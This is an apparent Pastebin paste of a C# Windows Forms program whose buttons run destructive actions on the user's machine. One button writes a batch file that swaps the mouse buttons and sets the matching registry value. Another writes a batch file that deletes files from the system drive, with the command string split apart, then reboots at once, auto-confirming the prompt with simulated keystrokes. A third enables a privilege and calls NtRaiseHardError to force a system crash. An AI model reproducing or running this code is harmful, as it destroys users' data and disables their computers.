Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Diagnostics;
- using System.IO;
- using Microsoft.Win32;
- using System.Threading;
- using System.Runtime.InteropServices;
- namespace WindowsFormsApp3
- {
- public partial class Form1 : Form
- {
- bool fclick = true;
- public Form1()
- {
- InitializeComponent();
- Thread t = new Thread(() => prockiller.Kills(textBox1.Lines));
- ta = t;
- }
- Thread ta;
- private void button1_Click(object sender, EventArgs e)
- {
- try
- {
- string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
- userName = userName.Remove(0, userName.IndexOf(@"\"));
- string st = @"C:\Users\" + userName + @"\Desktop\MyTest.bat";
- try
- {
- Process[] kill = Process.GetProcessesByName("MyTest");
- foreach (Process proc in kill)
- {
- proc.Kill();
- }
- }
- catch (Exception ex)
- {
- MessageBox.Show(ex.Message);
- }
- // File.Create(st);
- File.WriteAllText(@"C:\Users\" + userName + @"\Desktop\MyTest.bat", @"%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul");
- using (Process myProcess2 = new Process())
- {
- myProcess2.StartInfo.UseShellExecute = false;
- myProcess2.StartInfo.FileName = @"C:\Users\" + userName + @"\Desktop\MyTest.bat";
- myProcess2.Start();
- }
- RegistryKey currentUserKey = Registry.CurrentUser.OpenSubKey(@"Control Panel\Mouse", true);
- currentUserKey.SetValue("SwapMouseButtons", 1, RegistryValueKind.String);
- }
- catch (Exception es)
- {
- MessageBox.Show(es.Message);
- }
- }
- void button2_Click(object sender, EventArgs e)
- {
- ta = new Thread(() => prockiller.Kills(textBox1.Lines));
- fclick = false;
- ta.Start();
- }
- private void textBox1_Click(object sender, EventArgs e)
- {
- if (!fclick) { fclick = false; MessageBox.Show("Измение парметров приведет к приостановлению блокировки"); ta.Abort(); }
- }
- private void textBox1_ChangeUICues(object sender, UICuesEventArgs e)
- {
- }
- private void textBox1_TextChanged(object sender, EventArgs e)
- {
- if (!fclick) { fclick = true; MessageBox.Show("Измение парметров приведет к приостановлению блокировки"); ta.Abort(); }
- }
- [DllImport("USER32.DLL")]
- public static extern bool SetForegroundWindow(IntPtr hWnd);
- [System.Runtime.InteropServices.DllImport("User32.dll")]
- public static extern bool ShowWindow(IntPtr handle, int nCmdShow);
- [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
- public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
- IntPtr hWnd = FindWindow("focusWindowClassName", null); // this gives you the handle of the window you need.
- private void button3_Click(object sender, EventArgs e)
- {
- try
- {
- string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
- userName = userName.Remove(0, userName.IndexOf(@"\"));
- String st = @"C:\Users\" + userName + @"\Desktop\help.bat";
- string[] piz = new string[3] {
- "@ echo off",
- @"del %syst"+@"em drive%\*.*",
- "shutdown -r -t 00"};
- File.WriteAllLines(st, piz);
- using (Process myProcess2 = new Process())
- {
- myProcess2.StartInfo.UseShellExecute = false;
- myProcess2.StartInfo.FileName = st;
- myProcess2.Start();
- IntPtr windowHandle = myProcess2.MainWindowHandle;
- SetForegroundWindow(windowHandle);
- }
- Thread.Sleep(500);
- SendKeys.Send("Y");
- SendKeys.SendWait("{ENTER}");
- }
- catch (Exception es) { MessageBox.Show(es.Message); }
- }
- [DllImport("ntdll.dll", SetLastError = true)]
- private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass
- , ref int processInformation, int processInformationLength);
- [DllImport("ntdll.dll")]
- private static extern uint RtlAdjustPrivilege(
- int Privilege,
- bool bEnablePrivilege,
- bool IsThreadPrivilege,
- out bool PreviousValue
- );
- [DllImport("ntdll.dll")]
- private static extern uint NtRaiseHardError(
- uint ErrorStatus,
- uint NumberOfParameters,
- uint UnicodeStringParameterMask,
- IntPtr Parameters,
- uint ValidResponseOption,
- out uint Response
- );
- private static uint STATUS_ASSERTION_FAILURE = 0xC0000420;
- private void button4_Click(object sender, EventArgs e)
- {
- RtlAdjustPrivilege(19, true, false, out bool previousValue);
- NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, IntPtr.Zero, 6, out uint oul);
- }
- } }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement